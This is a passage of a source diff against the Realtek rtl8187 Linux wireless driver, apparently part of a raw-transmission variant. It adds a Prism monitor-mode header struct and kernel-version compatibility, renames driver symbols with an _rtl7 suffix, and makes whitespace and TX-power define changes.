2008-01-30 17:38:10.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile --- rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile 2008-01-30 17:38:10.000000000 +0100 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c 2008-01-30 17:38:10.000000000 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h 2008-01-30 17:38:11.000000000 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c 2008-01-30 17:38:11.000000000 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h 2008-01-30 17:38:11.000000000 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c 2008-02-15 00:49:20.000000000 +0100 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 